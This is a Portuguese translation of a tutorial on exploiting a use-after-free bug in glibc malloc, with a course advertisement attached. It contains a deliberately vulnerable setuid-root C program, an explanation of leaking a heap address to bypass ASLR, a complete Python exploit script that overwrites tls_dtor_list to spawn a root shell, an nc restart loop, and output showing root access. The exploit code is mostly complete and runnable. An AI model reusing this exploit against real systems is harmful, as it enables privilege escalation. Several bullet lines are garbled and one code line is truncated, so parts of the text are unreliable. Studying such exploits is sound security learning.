Vulnerabilidade Use-After-Free

Hello habr! Na véspera do início do curso avançado "Engenharia Reversa", preparamos outra tradução interessante para você. Vamos começar!







Pré-requisitos:



  1. Vulnerabilidade off-by-one
  2. Compreender o trabalho mallocemglibc


Configuração da máquina virtual: Fedora 20 (x86).



O que é Use-After-Free (UaF)?



O bug Use-After-Free ocorre se o ponteiro de heap continua a ser usado após ter sido liberado. Essa vulnerabilidade pode levar à execução de código derivado.



Código vulnerável:



#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %s\n",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your region\n");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%s\n",p2); 
 free(p1); /* [14] */
}


Comandos de compilação:



#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln


Nota : em comparação com o artigo anterior , aqui o ASLR está incluído. Agora, vamos aproveitar as vantagens do bug UaF e, como o ASLR está habilitado, vamos contorná-lo com vazamentos de informações e força bruta.
No código acima, as vulnerabilidades use-after-free são encontradas nas linhas [6] e [13]. As memórias heap correspondentes são liberadas nas linhas [5] e [10], mas seus ponteiros são usados ​​após a desalocação nas linhas [6] e [13]! UaF na linha [6] leva ao vazamento de informações, na linha [13] - à execução arbitrária de código.



O que é vazamento de informações? Como um invasor pode explorá-lo?



No código vulnerável acima (na linha [6]), o vazamento ocorre no endereço de heap. O endereço de heap vazado ajudará um invasor a descobrir facilmente o endereço de segmento de heap alocado aleatoriamente, ignorando assim o ASLR.



Para entender como ocorre um vazamento de endereço de heap, primeiro vamos entender a primeira metade do código vulnerável.



  • A linha [1] aloca 16 bytes de memória heap para "nome" .
  • [2] 16 «details».
  • [3] 1 (argv[1]) «name».
  • [4] [5] «name» «details» glibc malloc.
  • Printf [6] «name» , .


Depois de ler o artigo na seção Pré-requisitos, sabemos que os blocos correspondentes aos ponteiros “nome” e “detalhes” são blocos rápidos, que são armazenados no índice zero em células rápidas quando liberados . Também sabemos que cada célula rápida contém uma lista unida de blocos livres. Assim, voltando ao nosso exemplo, uma lista unida individualmente no índice zero em uma célula rápida se parece com o seguinte:



main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL


Por causa da singularidade, os primeiros 4 bytes de "name" contêm o endereço de "details_chunk" . Assim, quando "nome" é exibido, o endereço de "detalhes_chunk" é exibido primeiro . Com base no layout de heap, sabemos que "details_chunk" é deslocado 0x10 do endereço de heap de base. Portanto, subtrair 0x10 do endereço de heap vazado nos dará seu endereço base!



Como é feita a execução arbitrária de código?



Agora que temos o endereço de base do segmento de heap, vamos ver como executar código arbitrário observando a segunda metade de nosso exemplo.



  • A linha [7] aloca uma memória heap de 16 bytes para "tmp" .
  • [8] 1024 «p1».
  • [9] 1024 «p2».
  • [10] «p2» glibc malloc.
  • [11] 512 «p2_1».
  • [12] 512 «p2_2».
  • Read [13] «p2» .
  • [14] «p1» glibc malloc, .


Depois de ler o artigo na seção Pré - requisitos , sabemos que quando "p2" é lançado no glibc malloc, ele é consolidado em um bloco superior. Posteriormente, quando a memória para "p2_1" é solicitada , ela é alocada do bloco superior e "p2" e "p2_2" têm o mesmo endereço de heap. Além disso, quando a memória para "p2_2" é solicitada , ela é alocada na parte superior e "p2_2" está a 512 bytes de "p2" . Então, quando o ponteiro "p2"é usado após a liberação na linha [13], os dados controlados pelo invasor (máximo de 1019 bytes) são copiados para "p2_1" , que tem apenas 512 bytes de tamanho e, portanto, os dados restantes do invasor sobrescrevem o próximo fragmento "p2_2" , dando ao invasor a oportunidade de substituir o campo o tamanho do próximo cabeçalho de bloco.



Layout de heap:







como sabemos do artigo na seção de pré - requisitos , se um invasor pode substituir com sucesso o LSB do próximo campo de tamanho de bloco, ele pode trapacear glibc mallocpara interromper a conexão com o bloco p2_1 mesmo se estiver em um estado alocado. Também naquele artigoVimos que desanexar um grande pedaço em um estado alocado pode levar à execução arbitrária de código se um invasor adulterar cuidadosamente o cabeçalho do pedaço. O invasor cria um cabeçalho de bloco falso, conforme mostrado abaixo:



  • fddeve apontar para um endereço de bloco liberado. No diagrama de heap, podemos ver que "p2_1" está no deslocamento 0x410. Portanto, fd = heap_base_address(que foi obtido devido ao vazamento) + 0x410.
  • bktambém deve apontar para um endereço de bloco liberado. No diagrama de heap, podemos ver que "p2_1" está no deslocamento 0x410. A partir daqui, fd = heap_base_address(que foi recebido devido ao vazamento) + 0x410.
  • fd_nextsize tls_dtor_list – 0x14. «tls_dtor_list» private anonymous mapping glibc. , , .
  • bk_nextsize , «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .


Agora que temos todas essas informações, podemos escrever um exploit para atacar o binário vulnerável "vuln" .



Código de exploração:



#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("<I
def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack("<I", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)


Uma vez que precisamos de várias tentativas durante a força bruta (até conseguirmos), vamos executar nosso vulnerável binário "vuln" como um servidor de rede e usar um script de shell para garantir que ele reinicie automaticamente quando travar.



#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done


Executar o código de exploração acima lhe dará privilégios de root no shell. Aconteceu!



Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$


Uma fonte:



1. Revisitando a vulnerabilidade de uso após livre Defcon CTF Shitsco - execução remota de código






Análise de bootkit. Aula grátis






Consulte Mais informação:






All Articles